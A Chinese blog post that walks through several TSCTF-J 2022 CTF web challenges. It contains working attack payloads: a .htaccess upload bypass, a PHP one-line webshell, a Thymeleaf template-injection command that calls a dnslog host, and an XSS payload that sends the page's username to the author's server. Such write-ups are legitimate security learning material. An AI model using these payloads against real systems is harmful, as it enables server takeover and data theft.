2022 TSCTF-J web部分复现


TSCTF-J web部分复现

OnlyIMG

F12有hint,/www.zip获取源码,有upload.php

<?php

$blacklist = array("ph","htm","ini","js","jtml", "as","cer", "swf");

if ($_FILES["file"]["error"] > 0) 
{
    echo "Error !" . "<br>";
}

else
{
    if($_FILES["file"])
    {
        $dst = -----A-Secret-Path----- ; // 不能说的秘密
        $fileinfo = array($_FILES["file"]["name"],$dst);
        $file_name = trim($_FILES['file']['name']);
        foreach ($blacklist as $blackitem) 
        { 
            if (preg_match('/' . $blackitem . '/im', $file_name)) 
            { 
                die("Upload Fail , Do not upload strange file ~");
            }
        }

        $tmp_name = $_FILES["file"]["tmp_name"];
        $contents = file_get_contents($tmp_name);
        if (mb_strpos($contents, "<?p") !== FALSE) 
        {
            die("Upload Fail , Why is there PHP code in your pic ?");
        }

        if (!is_dir($dst)) 
        {
            mkdir($dst);
        }
        move_uploaded_file($_FILES["file"]["tmp_name"],"$fileinfo[1]/$fileinfo[0]");
        $msg="Upload Success ! Your file name is : %s";
        foreach($fileinfo as $key => $value)
        {
            $msg = sprintf($msg, $value);                  
        }
        echo $msg;
        echo "<br>But I don't know where it stores......";
    }
    else
    {
        echo "Please select your file to upload first !" . "<br>";
    }
}

还有一段javascript写的waf

function Checkfiles()
{
    var fup = document.getElementById('file');
    var fileName = fup.value;
    var ext = fileName.substring(fileName.lastIndexOf('.') + 1);
    if(ext == "gif" || ext == "GIF" || ext == "JPEG" || ext == "jpeg" || ext == "jpg" || ext == "JPG" || ext == "png" || ext == "PNG")
    {
        return true;
    }
    else
    {
        alert("Only Pics are allowed !");
        return false;
    }
}

这题的第一个考点就是找到上传路径,与TSCTF2022那题类似,都利用了格式化字符串漏洞,令文件名为%s,即可输出$dst

得到路径./707470。尝试访问报错,通过报错信息得知是Apache服务器。
接着分析upload.php还进行了哪些过滤。首先,对一些文件名后缀进行了过滤,然后还过滤了<?,由于是Apache服务器,考虑用.htaccess。可以用传统的方法,也可以直接用我之前学到的新姿势,由于已经告诉flag位置,所以.htaccess中的内容可以为

AddType application/x-httpd-php .jpg
php_value auto_append_file /flag

最后上传一个空的1.jpg,访问即可得到flag:TSCTF-J{Ht_Of_4PachE_is_7O0_simpL3_r1ght?}

寒秋送温暖

打开环境即可得到

        <?php
            $upload_dir = "*****";
            if(!file_exists($upload_dir)){
                mkdir($upload_dir);
            }
            
            if(!empty($_FILES["file"])){
                $tmp_name = $_FILES["file"]["tmp_name"];
                $filename = $_FILES["file"]["name"];
                $extension = substr($filename, strrpos($name,".")+1);

                if(preg_match("/htaccess/i",$extension)) die("Not this!");
                if($_FILES["file"]["type"]!="image/jpg"){
                    die("only jpg!");
                }
                
                $content = file_get_contents($tmp_name);
                if(preg_match("/eval/i",$content)) die("hacker!");

                try{
                    @move_uploaded_file($tmp_name, $upload_dir."/".$filename);
                }catch(Exception $e){
                    die("error");
                }
                  
                die( "Goooood file! The directory is ".$upload_dir);
                    
            }
            
        ?>

分析一下,大概不允许上传.htaccess,不允许有eval,同时还有一个MIME检测。直接上传一句话木马<?php @assert($_POST['cmd']); ?>即可,本地jpg,发包用burpsuite改成php,修改文件类型为image/jpg。

得到flag:TSCTF-J{R3a11y_Ez_check_1N}

百里香之叶

打开题目,随便点一种语言,然后发现url中有传lang值,随便输入一个值,发现报错

搜索报错发现是Springboot的报错页,猜测是针对Sprintboot框架Thymeleaf 模板注入(看mix爹的wp发现,Thymeleaf翻译过来正好是百里香之叶)。网上搜payload尝试__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22ping%20wwwss.ks4yd3.dnslog.cn%22).getInputStream()).next()%7d__::.x,报错

尝试后发现new被过滤,将new urlencode一下,命令改成cat /flag,得到flag:TSCTF-J{7h3_t1me_Th4t_y0u_le@ve!}。

你的名字

出题人很贴心的写出了文档,按下让TA看看我的回答!按钮时,bot会访问myasks界面,随便写一个问题,看看myasks界面。

同时出题人告诉我们,flag就是用户名,所以我们想办法xss外带。
这题在username和answer处都可以注入。
username

function checkUserName(username){
    return username.length<=10
}

password

async function sanitizeAnswer(questions){
    for(q of questions){
        // 把 < 替换成html实体 &lt;
        q.answer=q.answer.replace(/</g,'&lt;')
        // 这是后端的逻辑,并不重要hhh
        const askee=await usersDB.findOne({'userId':q.askeeId})
        q.askeeName=askee.username
    }
}

password处过滤了<,所以考虑在answer处实现<
利用img标签,在username处<img a=',在answer处' src="http://kingkb.top/" onerror="console.log(2)">,尝试后发现成功,然后想办法取出html中的用户名document.getElementsByClassName('outer')[0].firstElementChild.firstChild.data,然后外带到服务器上,最后的payload为
' src="http://kingkb.top/" onerror="window.location.href = 'http://vps:port?flag=' + document.getElementsByClassName('outer')[0].firstElementChild.firstChild.data">

vps监听得到/?flag=TSCTF-J{Hope_we_meet_the_ones}%20%E7%9A%84%E6%8F%90%E9%97%AE,得到flag:TSCTF-J{Hope_we_meet_the_ones}。

UrlShorten

出题人的恶趣味,让找issue: Struct with named fields can be deserialized from sequence #1587
随便注册一个用户后登陆,尝试输入一个长链接缩短,报错

全局搜索找到报错信息所在位置

if !user.access {
    return Err(AppError::new("You can't short url at present".to_string()));
}

这里是对user.access的值进行判断,搜索值。
找到struct定义处

pub struct User {
    pub name: String,
    pub password: String,
    #[serde(default)]
    pub access: bool,
}

再看一下register处

pub async fn register_post(Json(body): Json<serde_json::Value>) -> HandlerHeaderResult {
    if !utils::validate_body(&body, &["name", "password"]) {
        return Err(er_safe());
    }

    let mut user: User = match serde_json::from_value(body) {
        Ok(user) => user,
        Err(_) => {
            return Err(user_register_failed());
        }
    };

    if user.name.len() < 5 || user.password.len() < 7 {
        return Err(too_short());
    }

    if USER.contains_key(&user.name) {
        return Err(user_already_exists());
    }

    user.password = utils::sha256(user.password);

    let username = user.name.to_string();
    let session_cookie = uuid::Uuid::new_v4().to_string();

    SESSIONS.insert(session_cookie, username.to_string());
    USER.insert(username, user);

    let headers = HeaderMap::new();
    Ok((StatusCode::OK, headers, ()))
}

其中validate_body函数是这样定义的

pub fn validate_body(body: &serde_json::Value, allowed: &[&str]) -> bool {
    if let Some(body) = body.as_object() {
        if body.keys().any(|key| !allowed.contains(&key.as_str())) {
            return false;
        }
    }
    true
}

后面暂时先摆了,一方面没接触过rust语法,另一方面也好长时间没看过sql注入的题目了,还剩一道ezja等完了java系列的再熟悉熟悉就来复现。


Author: kingkb
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint policy. If reproduced, please indicate source kingkb !